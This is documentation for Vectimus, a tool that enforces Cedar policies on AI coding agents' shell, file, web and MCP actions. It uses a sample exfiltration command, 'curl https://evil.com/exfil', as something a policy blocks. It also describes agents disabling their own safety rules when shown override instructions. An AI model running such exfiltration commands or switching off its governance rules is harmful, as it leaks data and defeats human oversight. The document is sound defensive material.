Writing policies
Vectimus uses the Cedar policy language for governance rules. Each rule evaluates a normalised event and returns allow, deny or escalate.
Policy file format
Place .cedar files in your policy directory. Built-in policies are organized into 11 domain-based packs (destructive-ops, secrets, supply-chain, infrastructure, code-execution, data-exfiltration, file-integrity, database, git-safety, mcp-safety, agent-governance). Each file can contain multiple rules grouped by theme.
Annotations
Every rule should include:
@id("unique-id")— a unique identifier (must be unique across all packs)@description("human readable text")— what the rule does@incident("reference")— the real-world incident that motivated it (where applicable)@controls("SOC2-CC6.1")— compliance controls it satisfies (where applicable)@suggested_alternative("try this instead")— what the agent should do instead@enforcement("deny")— how the policy responds when matched (see Enforcement levels below)
Duplicate @id values across packs will cause a load-time error. This is intentional: shadowed rules are a bug.
Enforcement levels
Each policy can specify how Vectimus responds when it matches. Add @enforcement to control the behaviour:
| Level | Behaviour | Use case |
|---|---|---|
deny | Hard block. The agent cannot proceed. | Default. Production safety rules. |
escalate | Block with a descriptive message (local). Server mode can route to approval workflows. | Rules you want flagged but not auto-blocked silently. |
observe | Log the match but allow the action through. | Testing new rules before enforcing them. |
If no @enforcement annotation is present the policy defaults to deny. All policies in the built-in domain packs ship as deny.
How escalation works
Local mode: Escalate blocks the action the same way deny does but with a [escalate] prefix in the message. The agent sees a clear reason and the user can run the command manually if they approve. This is a limitation of current AI tool hook APIs — Claude Code and Cursor do not reliably support interactive approval prompts from hooks.
Server mode: The server can implement real approval workflows before returning a decision. Route escalations to PagerDuty, Slack or an internal approval queue. The agent waits for the server response and proceeds only if approved.
The audit log records escalate decisions separately from deny so you can track which rules are candidates for approval workflows.
Example escalate policy
@id("custom-002")
@description("Flag writes to staging environment config")
@enforcement("escalate")
@suggested_alternative("Double-check the config values before writing.")
forbid (
principal,
action == Vectimus::Action::"file_write",
resource
) when {
context.file_path like "*staging*config*"
};
Overriding enforcement per-project
You can change enforcement without editing the Cedar file using the enforce subcommand with --level:
# Soften a deny to escalate for this project
vectimus rule enforce <rule-id> --level escalate
# Restore to deny
vectimus rule enforce <rule-id> --level deny
# Log only (observe mode for a single policy)
vectimus rule enforce <rule-id> --level observe
# Apply globally instead of per-project
vectimus rule enforce <rule-id> --level escalate --global
# Remove the override (revert to policy annotation)
vectimus rule enforce <rule-id> --clear
Resolution order: project-local override > global override > @enforcement annotation > deny default.
Example rule
@id("custom-001")
@description("Block writes to production database config")
@suggested_alternative("Propose config changes via a pull request for human review.")
forbid (
principal,
action == Vectimus::Action::"file_write",
resource
) when {
context.file_path like "*production*database*"
};
Action types
The normaliser maps tool-specific actions to these types:
| Action type | Description |
|---|---|
shell_command | Bash, terminal, shell execution |
file_write | Write, Edit, file creation |
file_read | Read, Grep, Glob, file access |
web_request | WebFetch, curl, HTTP calls |
mcp_tool | Any MCP server tool invocation |
package_operation | npm, pip, cargo operations |
git_operation | git push, commit, branch operations |
infrastructure | terraform, kubectl, docker, cloud CLI |
agent_spawn | Task, subagent creation |
Context fields
Policies can match on these context attributes:
| Field | Available on | Description |
|---|---|---|
context.command | shell_command, package_operation, infrastructure, mcp_tool | Shell command text |
context.file_path | file_write, file_read, mcp_tool | Target file path |
context.url | web_request, mcp_tool | Target URL |
context.cwd | all | Working directory |
context.mcp_server | mcp_tool | MCP server name (from tool name) |
context.mcp_tool | mcp_tool | MCP tool name (from tool name) |
context.package_name | package_operation | Package being installed/published |
Content inspection
Your shell_command policies automatically apply to file writes and script execution. When an agent writes a file or runs a script (bash deploy.sh, python setup.py, ./run.sh), Vectimus extracts the content and evaluates each line against all shell_command policies.
This means a policy like this:
@id("custom-010")
@description("Block curl to external hosts")
@suggested_alternative("Use an approved API client.")
forbid (
principal,
action == Vectimus::Action::"shell_command",
resource
) when {
context.command like "curl *"
};
Will also block an agent that writes curl https://evil.com/exfil into a shell script and then runs it. No additional policy needed.
Content is capped at 32KB per file. Blank lines and comments (lines starting with #) are skipped. Unreadable files fail open. See the Architecture page for the full double-evaluation flow.
MCP tool policies
Vectimus intercepts the agent’s request to call an MCP tool before it is sent to the server. It does not observe what happens on the MCP server. Policies can inspect:
- Server name (
context.mcp_server) — extracted from the tool name (e.g.mcp__github__create_issueyieldsgithub) - Tool name (
context.mcp_tool) — extracted from the tool name (e.g.create_issue) - Input parameters (
context.command,context.file_path,context.url) — whatever the agent passes as tool inputs
A tool that internally accesses credentials or writes to CI/CD pipelines without exposing that in its input parameters will not be caught. The most effective MCP control is server allowlisting.
Server allowlisting
By default, rule vectimus-mcp-001 blocks all MCP tool calls. Approve servers via the CLI:
vectimus mcp allow github
vectimus mcp allow slack
Or via environment variable:
export VECTIMUS_MCP_ALLOWED="github,slack,jira"
The loader rewrites vectimus-mcp-001 at load time with a Cedar unless clause listing approved servers. Unapproved servers are blocked regardless of tool name or input.
Input inspection (defence in depth)
Rules 032-036 check tool inputs for sensitive patterns on approved servers:
- 032: Credential and secret paths in
file_path - 033: Private key files in
file_path - 034: CI/CD pipeline files in
file_path - 035: Dangerous shell commands in
command - 036: Governance config files in
file_path
These rules catch recognisable patterns in tool parameters but cannot catch tools that do sensitive things without exposing it in their input schema.
Rule management
Users can disable individual rules globally or per-project via the CLI:
# Disable for current project only
vectimus rule disable custom-001
# Disable everywhere
vectimus rule disable custom-001 --global
Per-project overrides are stored in .vectimus/config.toml in the project root. Legacy overrides at ~/.vectimus/projects/ are still read as a fallback. See Getting started for the full precedence model.
Temporary disables
Need to turn off a rule while you scaffold something? Use --for to disable it for a set duration:
vectimus rule disable secret-in-env --for 30m
vectimus rule disable no-force-push --for 2h
vectimus rule disable custom-001 --for 1h30m
Temp disables live in daemon memory only. No config files are written. The rule re-enables automatically when the duration expires or the daemon restarts. This is fail-closed by design: if anything goes wrong the rule comes back.
The daemon auto-starts if it is not already running. Use vectimus rule list to see active temp disables with remaining time:
secret-in-env base Block secrets in env files temp (24m)
To re-enable a temp-disabled rule early, use vectimus rule enable as normal. It clears both permanent and temporary disables.
Temp disables are per-project and cannot be combined with --global.
Deny messages and override hints
When a rule blocks an action, the deny reason shown to the agent must never include instructions on how to disable the rule. If the agent sees override instructions it will attempt to run vectimus rule disable itself. The built-in packs include a rule (vectimus-destops-006) that blocks agents from running vectimus CLI commands for exactly this reason.
Override hints should only appear on stderr, which is visible to the human operator but not parsed by the agent:
# stdout (agent-visible): clean deny reason only
print(json.dumps({"permissionDecision": "deny", "permissionDecisionReason": reason}))
# stderr (human-visible): override hints
print(f"vectimus: To disable for this project: vectimus rule disable {pid}", file=sys.stderr)
print(f"vectimus: To disable everywhere: vectimus rule disable {pid} --global", file=sys.stderr)
Custom policy packs
Custom packs can live in two locations:
Project-local (scoped to one project, version-controllable):
<project>/.vectimus/packs/my-team/
pack.toml
my-rules.cedar
Global (applies everywhere):
~/.vectimus/packs/my-team/
pack.toml
my-rules.cedar
The pack.toml manifest:
[pack]
name = "my-team"
version = "1.0.0"
description = "Team-specific governance rules"
author = "My Team"
Packs are automatically discovered and loaded on the next evaluation. Rule IDs must be globally unique across all packs — duplicates cause a load-time error.
Testing policies
Use vectimus test to validate your policies against sample events. You can also provide a custom JSON file:
vectimus test --file my-test-events.json --policy-dir ./my-policies